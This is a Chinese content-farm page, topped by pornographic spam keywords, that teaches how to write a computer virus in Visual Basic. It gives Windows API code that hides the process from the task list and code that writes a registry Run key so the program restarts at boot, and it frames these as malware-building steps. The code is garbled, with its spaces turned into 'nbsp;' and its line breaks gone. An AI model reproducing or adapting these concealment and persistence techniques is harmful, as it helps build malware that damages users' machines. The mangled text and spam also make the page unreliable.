六月丁香五月婷婷,丁香五月婷婷网,欧美激情网站,日本护士xxxx,禁止18岁天天操夜夜操,18岁禁止1000免费,国产福利无码一区色费

學習啦>學習電腦>電腦安全>病毒知識>

如何制作電腦病毒方法

時間: 林輝766 分享

  對于接觸計算機的朋友們來說,病毒已經(jīng)不在是一個陌生的東西。病毒一般都具有傳播、隱藏、破壞等能力。下面由學習啦小編給你做出詳細的電腦病毒制作方法介紹!希望對你有幫助!

  電腦病毒制作方法介紹:

  所以自從第一個病毒問世以來,它便被人們視為一種神秘的東西。但是,我們要知道。病毒也是程序,也是由人寫出來的。

  所以,病毒并不是什么高不可攀的東西?,F(xiàn)在,讓我們了解一下VB制作病毒的原理。首先,病毒是有隱藏性的。如何來實現(xiàn)病毒的隱藏是很多年來的熱點話題。我們先不接觸什么線程插入技術(shù)。

  我們要實行自我隱藏,就要用到API函數(shù)。其代碼如下:Publicnbsp;Declarenbsp;Functionnbsp;GetCurrentProcessidnbsp;Libnbsp;“kernel32“nbsp;()nbsp;Asnbsp;LongPublicnbsp;Declarenbsp;Functionnbsp;RegisterServiceProcessnbsp;Libnbsp;“kernel32“nbsp;(ByValnbsp;dwProcessIDnbsp;Asnbsp;Long,nbsp;ByValnbsp;dwTypenbsp;Asnbsp;Long)Publicnbsp;Constnbsp;RSP_SIMPLE_SERVICEnbsp;=nbsp;1Publicnbsp;Constnbsp;RSP_UNREGISTER_SERVICEnbsp;=nbsp;0Publicnbsp;Subnbsp;MakeMeService()Dimnbsp;pidnbsp;Asnbsp;LongDimnbsp;reserynbsp;Asnbsp;Longpidnbsp;=nbsp;GetCurrentProcessid()regservnbsp;=nbsp;RegisterServiceProcess(pid,nbsp;RSP_SIMPLE_SERVICE)Endnbsp;Sub這樣就實現(xiàn)了自我隱藏。還有別的什么App.Titlenbsp;=nbsp;““和App.TaskVisiblenbsp;=nbsp;False都可以用于VB病毒的隱藏。

  病毒光會隱藏還不行,還要有常駐內(nèi)存的能力。

  說通俗點,計算機關(guān)閉病毒也就跟著死去,而計算機重啟,病毒也要跟這復(fù)活。

  所以,我們接下來的任務(wù)就是:實現(xiàn)病毒的開機自啟。了解病毒的朋友會知道,病毒一般是利用在注冊表中插入相應(yīng)鍵值來實現(xiàn)開機自啟的。

  所以,我們就要利用編程來實現(xiàn)著一功能。讀寫注冊表要用到API函數(shù),代碼:Privatenbsp;Declarenbsp;Functionnbsp;RegCreateKeynbsp;Libnbsp;“advapi32.dll“nbsp;Aliasnbsp;“RegCreateKeyA“nbsp;(ByValnbsp;hKeynbsp;Asnbsp;Long,nbsp;ByValnbsp;lpSubKeynbsp;Asnbsp;String,nbsp;phkResultnbsp;Asnbsp;Long)nbsp;Asnbsp;LongPrivatenbsp;Declarenbsp;Functionnbsp;RegCloseKeynbsp;Libnbsp;“advapi32.dll“nbsp;(ByValnbsp;hKeynbsp;Asnbsp;Long)nbsp;Asnbsp;LongPrivatenbsp;Declarenbsp;Functionnbsp;RegSetValueExnbsp;Libnbsp;“advapi32.dll“nbsp;Aliasnbsp;“RegSetValueExA“nbsp;(ByValnbsp;hKeynbsp;Asnbsp;Long,nbsp;ByValnbsp;lpvalueNamenbsp;Asnbsp;String,nbsp;ByValnbsp;Reservednbsp;Asnbsp;Long,nbsp;ByValnbsp;dwTypenbsp;Asnbsp;Long,nbsp;lpDatanbsp;Asnbsp;Any,nbsp;ByValnbsp;cbDatanbsp;Asnbsp;Long)nbsp;Asnbsp;Long上述是API聲明。

  病毒的開機自啟就是在RUN下建立一個啟動項,代碼:Dimnbsp;hKeynbsp;Asnbsp;LongDimnbsp;ccLetnbsp;ccnbsp;=nbsp;Len(“病毒的絕對路徑“)RegCreateKeynbsp;HKEY_LOCAL_MACHINE,nbsp;“SoftwareMicrosoftWindowsCurrentVersionRunservices“,nbsp;hKeyRegSetValueExnbsp;hKey,nbsp;“鍵名“,nbsp;0,nbsp;REG_SZ,nbsp;ByValnbsp;“病毒的絕對路徑“,nbsp;ccRegCloseKeynbsp;hKey以上代碼執(zhí)行后會在注冊表中加入一個病毒的啟動項。光利用開機自啟來長駐內(nèi)存也太容易被殺了。所以,我們還要想盡一切辦法來讓病毒啟動。
看了“如何制作電腦病毒”文章的還看了:

1.電腦病毒如何制作

2.如何制作電腦病毒

3.計算機病毒是如何制作出來的?

4.電腦病毒制作方法

5.怎樣制作電腦蠕蟲病毒

628903